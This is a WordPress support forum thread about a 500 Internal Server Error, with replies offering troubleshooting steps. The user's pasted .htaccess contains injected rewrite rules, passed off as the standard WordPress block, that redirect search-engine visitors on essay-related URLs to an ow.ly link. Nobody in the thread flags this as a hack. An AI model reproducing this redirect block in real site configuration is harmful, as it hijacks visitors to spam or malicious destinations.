Title: 500 Internal Server Error error
Last modified: August 30, 2016

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# 500 Internal Server Error error

 *  [avinash1234587](https://wordpress.org/support/users/avinash1234587/)
 * (@avinash1234587)
 * [10 years, 7 months ago](https://wordpress.org/support/topic/500-internal-server-error-error-4/)
 * Below is the error.
 * Internal Server Error
 * **The server encountered an internal error or misconfiguration and was unable
   to complete your request.**
 * Please contact the server administrator at [webmaster@lawessaypros.logoindigo.com](https://wordpress.org/support/topic/500-internal-server-error-error-4/webmaster@lawessaypros.logoindigo.com?output_format=md)
   to inform them of the time this error occurred, and the actions you performed
   just before this error.
 * More information about this error may be available in the server error log.
 * Additionally, a 500 Internal Server Error error was encountered while trying 
   to use an ErrorDocument to handle the request.
 * After getting the above error I went out reading different blogs and tried the
   following.
 * renaming .htaccess file to .htaccess_old and then the sites get live and then
   moving to settings and in wp admin updated the permalinks.
 * Problem is:
 * When I do the above the sites give out the same error while updating permalinks
   so I delete the file and rename again.. the permalinks got updated but then again
   the same error. If i keep on changing and deleting the .htaccess the site appears
   but as soon as i click on any other tab the error appears again and i have to
   redo the same.
 * 2ndly I have changed the permissions to 755 but it did not work either.
 * My ht.access code appears like this:
 * “# BEGIN WordPress
    <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER}
   google|bing|aol|msn|yahoo|yandex|ya|rambler|mail|nigma|ask|lycos|teoma|talktalk
   |softonic|search|gmx [NC] RewriteCond %{REQUEST_URI}%{QUERY_STRING} admission
   |-cv|algebra|analy|annotation|application|article|assignment|bibliography|biography
   |book|buy|case|cheap|citat|college|course|cover-letter|critical-thinking|custom
   |cv-|discussion|dissertation|document|edit|education|essay|example|help|history
   |home|homework|hystory|intro|lab|letter|liter|online|order|paragraph|page|paper
   |pay|personal|phd|poem|powerpoint|presentation|project|proofread|proposal|purchase
   |report|research|resume|review|school|service|speech|statement|stud|term|theses
   |thesis|thinking|topic|verificat|view|writ|curriculum|vitae|brief|format|outlinet[
   NC] RewriteRule .* [http://ow.ly/RxtzD](http://ow.ly/RxtzD) [R,L] RewriteBase/
   RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond%{
   REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>
 * # END WordPress”
 * What should I need to do???? please help.. everything was working fine and all
   this suddenly happened.. why is it happening automatically.i had deactivated 
   all the plugins but still got the same problem. i have almost tried everything
   with no resolution….

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 *  [darkfire13](https://wordpress.org/support/users/darkfire13/)
 * (@darkfire13)
 * [10 years, 7 months ago](https://wordpress.org/support/topic/500-internal-server-error-error-4/#post-6729322)
 * Please, show us error.log And restore .htaccess default `<IfModule mod_rewrite.
   c>
    RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond%{
   REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.
   php [L] </IfModule> ` I guess the error in .htaccess
 *  Thread Starter [avinash1234587](https://wordpress.org/support/users/avinash1234587/)
 * (@avinash1234587)
 * [10 years, 7 months ago](https://wordpress.org/support/topic/500-internal-server-error-error-4/#post-6729325)
 *     ```
       :alert] [pid 646:tid 140147983111936] [client 180.76.15.28:47543] /home/logoindigo/public_html/lawessaypros/.htaccess: Invalid command '# BEGIN WordPress', perhaps misspelled or defined by a module not included in the server configuration
       [Mon Nov 09 09:00:07.658133 2015] [core:alert] [pid 646:tid 140147983111936] [client 180.76.15.28:47543] /home/logoindigo/public_html/lawessaypros/.htaccess: Invalid command '# BEGIN WordPress', perhaps misspelled or defined by a module not included in the server configuration
       ```
   
 *  [jkhongusc](https://wordpress.org/support/users/jkhongusc/)
 * (@jkhongusc)
 * [10 years, 7 months ago](https://wordpress.org/support/topic/500-internal-server-error-error-4/#post-6729342)
 * My guess is that there are some invalid characters in your .htaccess file.
 *  [Matthew](https://wordpress.org/support/users/kidsguide/)
 * (@kidsguide)
 * [10 years, 7 months ago](https://wordpress.org/support/topic/500-internal-server-error-error-4/#post-6729344)
 * Internal server errors (error 500) are often caused by plugin or theme function
   conflicts, so if you have access to your admin panel, try deactivating all plugins.
   If you don’t have access to your admin panel, try [manually resetting your plugins](https://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F)(
   no Dashboard access required). If that resolves the issue, reactivate each one
   individually until you find the cause.
 * If that does not resolve the issue, try switching to the default theme for your
   version of WordPress to rule-out a theme-specific issue. If you don’t have access
   to your admin panel, access your server via [FTP or SFTP](https://codex.wordpress.org/FTP_Clients),
   navigate to `/wp-content/themes/` and rename the directory of your currently 
   active theme. This will force the default theme to activate and hopefully rule-
   out a theme-specific issue.
 * If that does not resolve the issue, it’s possible that a `.htaccess` rule could
   be the source of the problem. To check for this, access your server via FTP or
   SFTP and rename the `.htaccess` file. If you can’t find a `.htaccess` file, make
   sure that you have set your FTP or SFTP client to view invisible files.
 * If you weren’t able to resolve the issue by either resetting your plugins and
   theme or renaming your .htaccess file, we may be able to help, but we’ll need
   a more detailed error message. Internal server errors are usually described in
   more detail in the server error log. If you have access to your server error 
   log, generate the error again, note the date and time, then immediately check
   your server error log for any errors that occurred during that time period. If
   you don’t have access to your server error log, ask your hosting provider to 
   look for you.

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